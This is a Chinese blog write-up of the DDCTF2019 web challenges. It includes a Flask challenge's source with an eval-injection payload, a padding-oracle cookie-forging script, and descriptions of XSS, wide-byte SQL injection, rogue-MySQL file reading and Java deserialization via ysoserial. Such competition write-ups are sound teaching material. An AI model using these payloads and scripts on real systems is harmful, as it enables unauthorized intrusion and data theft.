前言
最近举办的比赛 DDCTF2019 ,菜鸡 Web 手第二次打这个比赛,题目相比去年整体质量有所下降,有质量的题目只有三题左右,不过也是个能学到东西的好比赛。
比赛最后两天没有肝 Java 题,被hint弄昏了,辣鸡选手分不清命令执行和代码执行,当然也有对 ysoserial 不熟悉等各种原因在内,所以到最后还是没有能够 AK Web 题目,算是一个遗憾吧,希望明年能变得更强。
滴~
脑洞题,使用文件读取漏洞读取源码,然后根据注释的提示,找到该作者该日期的文章,看到文件名 practice.txt.swp ,访问即可看到下一步,只是简单的变量覆盖就不说了。
WEB 签到题
坑,带上 HTTP 头 didictf_username: admin 访问即可看到源码,利用格式化字符串读取 key ,然后就是简单的反序列化读取文件就不说了。
Upload-IMG
考点在于绕过 gd 库对图片的渲染,让 gd 库渲染生成的新图片能留下 phpinfo 字符串,参考:https://xz.aliyun.com/t/416 。用文章给出的脚本打一遍下来就可以了,注意不是每张图片都可以成功,如果这张图片不行就换一张,或者可以直接搜索其他人使用的素材。
homebrew event loop
Python 代码审计,比较有意思的题目,贴下代码:
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
from flask import Flask, session, request, Response
import urllib
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f66147e857'
def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
class RollBackException: pass
def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
# handlers/functions below --------------------------------------
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
for line in source:
if bool_download_source != 'True':
html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />')
else:
html += line
source.close()
if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume
def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'
def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
getflag 的方法很明确,就是弄到五颗以上钻石,然后调用 get_flag_handler ,最后再解码 cookie 就能拿到 flag 了。
仔细看一下就可以发现,题目对输入的字符串做了过滤,只允许数字字母和 _:;# 等少数几种特殊字符,无法任意执行命令,可以一次购买多个钻石,但是钻石的数量不能为负数,且每次购买钻石之后都会将 consume_point_function 塞进队列里来 check 余额,如果余额不足就会回滚。
解题思路:
- 在 eval 函数中通过 # 注释来调用任意函数,该函数参数只能为 list 。
- 因为他的函数调用都是通过队列来顺序调用,并且购买钻石和检查余额不在同一个函数中,所以我们可以通过调用 trigger_event 来打乱他的队列,在购买钻石、检查余额之间插入一个 get_flag_handler 。
在 eval 中调用 trigger_event ,将 buy_handler 和 get_flag_handler 塞进队列中,使用 buy_handler 购买5个以上的钻石,然后直接调用 get_flag_handler 把 flag 存入 cookie ,这样就算之后服务端检查余额回滚了也不影响我们 getflag ,get 提交 payload :
action:trigger_event%23;action:buy;5%23action:get_flag;
欢迎报名DDCTF
一道 XSS + SQL 注入的题目,很简单但是也很坑。
题目本来有个 swp 源码泄露,后来出题人给删除了。
报名页面的 content 可以进行 XSS ,利用 script 远程加载或者 eval(atob(“payload”)) ,都可以。
利用 XSS 打到 admin.php 的页面,看到一个 query_aIeMu0FUoVrW0NWPHbN6z4xh.php ,提示这里可以输入 id 进行查询,这里是简单的宽字节回显注入,注入出 flag 即可。
坑点:
- 管理员不定时点击。
- 宽字节注入点难以发现,粗略测试过根本没有察觉,思路直接跑偏去了其他地方(比如攻击管理员所在的服务器、在 login.php 进行注入)。
大吉大利,今晚吃鸡~
坑,整数溢出 + 脚本题目。
服务端在下单时接收单价和付款进行计算时,使用的数据类型不是同一个,所以我们可以通过溢出来让单价为0,即可买到门票。最后的吃鸡部分,写个脚本不停注册然后用自己的账号把他们踢掉即可。
mysql弱口令
比较有意思的题目,考点是 MySQL LOAD DATA INFILE 的利用。
工具: https://github.com/Gifts/Rogue-MySql-Server 。
不停读文件就完事了,在 root 的 .bash_history 文件里发现源码文件,在源码文件中发现 flag 的路径,直接读取 /var/lib/mysql/security/flag.ibd 即可,或者也可以读取 root 目录下的 .mysql_history (非预期?)。
再来1杯Java
源码包:附件
本地搭建环境也很简单,题目是个 Spring-Boot 的项目,把 class 反编译一下,然后再配置运行 Application.java 即可。
题目分为三个部分,密码、文件读取和反序列化。
Padding Oracle
根据提示,需要我们成为 admin ,观察 HTTP 请求,可以得知我们需要伪造一个 cookie ,脚本如下(写得有点乱):
# -*- coding:utf8 -*-
import base64
import requests
import urllib
url = "http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/account_info"
data = base64.b64decode("UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF")
# iv = data[:16]
# c = data[16:32]
m = ""
myd = requests.session()
c_final2 = "\xA7\xD3\x87\x8A\x04f\xC7\x0BY\x26K\x5E\xD3\x3FP\x13"
# c_final1 = "\x2BC\x0D\x2BP\x5BR\x5CU\x16K\x04\x40\x0F\x07\x22"
# c_final11 = "P\xBE\x15\x9D\x03y\xA2bv.u\x10\xD3\xE7\x03\xF8"
c_final11 = "\x00\xDFq\xD2q\x18\xC1\x0E\x13\x14\x1Cf\xFC\x84a\x9B"
IV = ""
i_need = '{"id":100,"roleA'
for x in range(16):
IV += chr(ord(c_final11[x]) ^ ord(i_need[x]))
c = ""
i_need = 'dmin":true}' + 5 * "\x05"
for x in range(16):
c += chr(ord(c_final2[x]) ^ ord(i_need[x]))
print base64.b64encode(IV + c + data[32:])
exit(1)
# Padding Oracle
for x in xrange(1, 17):
for y in xrange(0, 256):
IV = "\x00" * (16 - x) + chr(y) + "".join(chr(ord(i) ^ x) for i in c_final11)
payload = base64.b64encode(IV + c)
headers = {
"Accept": "application/json, text/plain, */*",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "keep-alive",
"Cookie": "token=" + payload,
"Host": "c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023",
"Referer": "http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/home",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36"""
}
result = myd.get(url, headers=headers).content
if "decrypt err" not in result:
c_final11 = chr(y ^ x) + c_final11
print "[+]Get: " + urllib.quote(c_final11)
break
if y == 255:
print "[!]Error!"
exit(1)
print urllib.quote(c_final11)
# for x in xrange(16):
# m += chr(ord(c_final11[x]) ^ ord(iv[x]))
# print m
# print urllib.quote(m)
exit(1)
修改 cookie ,成为 admin 后看到一个下载链接,这里有一个任意文件下载漏洞。
文件读取
下载到一个 1.txt ,提示说:
Try to hack~
Hint:
1. Env: Springboot + JDK8(openjdk version "1.8.0_181") + Docker~
2. You can not exec commands~
坑,利用文件读取漏洞,跑字典可以在 /proc/self/fd/15 处下载到一个 zip ,里面就是题目的源码。
Java反序列化漏洞
参考 writeup :https://xz.aliyun.com/t/4862#toc-7
我虽然了解一点 Java 反序列化漏洞,但是从来没有用过 ysoserial 这个工具,趁这个机会也正好学习一下。
审计代码,可以看到它提供了一个无法回显的反序列化接口,并且使用 Serialkiller 对我们反序列化的类进行了黑名单过滤。所以我们的第一个目标就是绕过这份黑名单。
根据提示的 JRMP ,我们注意到黑名单中的 JRMP 类只有三个:
<regexp>java\.rmi\.registry\.Registry$</regexp>
<regexp>java\.rmi\.server\.ObjID$</regexp>
<regexp>java\.rmi\.server\.RemoteObjectInvocationHandler$</regexp>
参考文章:https://xz.aliyun.com/t/2479 ,找个方式,修改 ysoserial 中的 JRMPClient ,重新编译再输出 payload 即可。
现在我们就可以通过 JRMP 的方式来反序列化任意类了,关注项目依赖中的 commons-collections:3.1 ,我们通过这个低版本的组件实现代码执行,参考文章:https://blog.csdn.net/fnmsd/article/details/79534877
效果:
参考文章:
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!